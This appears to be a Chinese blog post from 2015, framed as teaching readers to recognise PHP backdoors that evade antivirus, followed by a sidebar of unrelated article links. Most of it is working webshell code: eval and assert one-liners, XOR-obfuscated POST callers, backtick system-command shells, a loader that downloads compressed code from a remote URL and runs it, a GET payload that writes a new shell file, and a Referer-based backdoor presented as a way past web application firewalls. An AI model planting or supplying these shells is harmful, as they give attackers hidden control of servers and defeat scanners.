教你识别简单的免查杀PHP后门


Posted in PHP onSeptember 13, 2015

一个最常见的一句话后门可能写作这样

<?php @eval($_POST['cmd']);?>

或这样

<?php @assert($_POST['cmd']);?>

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

构造生成,当然,嫌太直观可以写作这样

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

<?php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精简
 
/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?>

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?php

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

无特征隐藏PHP一句话:

<?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

 
仅用GET函数就构成了木马;
利用方法:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
 

<?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

?>

文件2

<?php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

PHP 相关文章推荐
PHP截取汉字乱码问题解决方法mb_substr函数的应用
Mar 30 PHP
php实现首页链接查询 友情链接检查的代码
Jan 05 PHP
php实现的漂亮分页方法
Apr 17 PHP
PHP获取当前所在目录位置的方法
Nov 26 PHP
Windows7下的php环境配置教程
Feb 28 PHP
PHP编程中的__clone()方法使用详解
Nov 27 PHP
php获取图片信息的方法详解
Dec 10 PHP
php构造函数与析构函数
Apr 23 PHP
thinkphp分页集成实例
Jul 24 PHP
利用PHP如何统计Nginx日志的User Agent数据
Mar 06 PHP
PHP数组对象与Json转换操作实例分析
Oct 22 PHP
基于PHP实现邮箱验证激活过程详解
Oct 28 PHP
php文件扩展名判断及获取文件扩展名的N种方法
Sep 12 #PHP
php上传功能集后缀名判断和随机命名(强力推荐)
Sep 10 #PHP
ubuntu下配置nginx+php+mysql详解
Sep 10 #PHP
ThinkPHP函数详解之M方法和R方法
Sep 10 #PHP
基于JQuery+PHP编写砸金蛋中奖程序
Sep 08 #PHP
四个常见html网页乱码问题及解决办法
Sep 08 #PHP
php图片水印添加、压缩、剪切的封装类实现
Apr 18 #PHP
You might like
PHP的栏目导航程序
2006/10/09 PHP
php源码加密 仿微盾PHP加密专家(PHPCodeLock)
2010/05/06 PHP
PHP将DateTime对象转化为友好时间显示的实现代码
2011/09/20 PHP
php die()与exit()的区别实例详解
2016/12/03 PHP
通过PHP的Wrapper无缝迁移原有项目到新服务的实现方法
2020/04/02 PHP
input禁止键盘及中文输入,但可以点击
2014/02/13 Javascript
小结Node.js中非阻塞IO和事件循环
2014/09/18 Javascript
JQuery遍历json数组的3种方法
2014/11/08 Javascript
JavaScript中的值类型转换介绍
2014/12/31 Javascript
分享两款带遮罩的jQuery弹出框
2015/12/30 Javascript
jquery实现的判断倒计时是否结束代码
2016/02/05 Javascript
浅谈javascript中new操作符的原理
2016/06/07 Javascript
JS实现简单的右下角弹出提示窗口完整实例
2016/06/21 Javascript
Angular外部使用js调用Angular控制器中的函数方法或变量用法示例
2016/08/05 Javascript
Vue实现web分页组件详解
2017/11/28 Javascript
详解滑动穿透(锁body)终极探索
2019/04/16 Javascript
bootstrap中的导航条实例代码详解
2019/05/20 Javascript
Angular 多级路由实现登录页面跳转(小白教程)
2019/11/19 Javascript
Django使用redis缓存服务器的实现代码示例
2019/04/28 Python
Python发展简史 Python来历
2019/05/14 Python
Python使用LDAP做用户认证的方法
2019/06/20 Python
python GUI库图形界面开发之PyQt5输入对话框QInputDialog详细使用方法与实例
2020/02/27 Python
深入理解css属性的选择对动画性能的影响
2016/04/20 HTML / CSS
推荐WEB开发者最佳HTML5和CSS3代码生成器
2015/11/24 HTML / CSS
优秀员工年终发言演讲稿
2014/01/01 职场文书
考试作弊检讨书大全
2014/02/18 职场文书
2014组织生活会方案
2014/05/19 职场文书
股东授权委托书范本
2014/09/13 职场文书
2014年采购员工作总结
2014/11/18 职场文书
2015毕业生实习工作总结
2014/12/12 职场文书
植树节新闻稿
2015/07/17 职场文书
2019年年中工作总结讲话稿模板
2019/03/25 职场文书
什么是检讨书?检讨书的格式及范文
2019/11/05 职场文书
浅谈tf.train.Saver()与tf.train.import_meta_graph的要点
2021/05/26 Python
特别篇动画《总之就是非常可爱 ~制服~》PV公开,2022年夏季播出
2022/04/04 日漫
Go获取两个时区的时间差
2022/04/20 Golang